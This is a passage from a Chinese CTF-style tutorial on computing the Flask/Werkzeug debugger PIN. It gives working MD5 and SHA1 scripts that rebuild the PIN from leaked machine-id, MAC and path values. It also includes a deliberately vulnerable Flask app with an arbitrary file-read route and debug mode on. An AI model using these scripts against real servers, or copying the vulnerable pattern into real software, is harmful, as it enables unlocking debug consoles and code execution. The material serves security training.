深入浅出Flask PIN( 三 )

然后这里还有一个点,python不同版本的算法区别
不同版本算法区别3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同
3.6 MD5
#MD5import hashlibfrom itertools import chainprobably_public_bits = ['flaskweb''flask.app','Flask','/usr/local/lib/python3.7/site-packages/flask/app.py']private_bits = ['25214234362297','0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa']h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)3.8 SHA1
#sha1import hashlibfrom itertools import chainprobably_public_bits = ['root''flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py']private_bits = ['2485377581187','653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)其实最稳妥的方法就是自己调试,把自己版本的生成PIN部分提取出来,把num和rv改成None,直接print rv就行
docker测试本地docker在Windows上
我们将上面的测试代码修改为下,加入文件读取功能,并且return 0当我们传值错误可出发debug模式
from flask import Flask, requestapp = Flask(__name__)@app.route("/")def hello():return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全 。'@app.route("/file")def file():filename = request.args.get('filename')try:with open(filename, 'r') as f:return f.read()except:return 0if __name__ == "__main__":app.run(host="0.0.0.0", port=9000, debug=True)回到我们的环境,模块路径通过传入错误文件名触发报错可得到,主要就是machine-id,其他部分直接出的就不用看了,docker环境只需要后俩

深入浅出Flask PIN

文章插图
 

深入浅出Flask PIN

文章插图
 
拼接起来,代入程序,直接运行
深入浅出Flask PIN

文章插图
 
与环境里的一致
深入浅出Flask PIN

文章插图
 
如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN
  • [GYCTF2020]FlaskApp——BUUCTF
  • web801——CTFshow




推荐阅读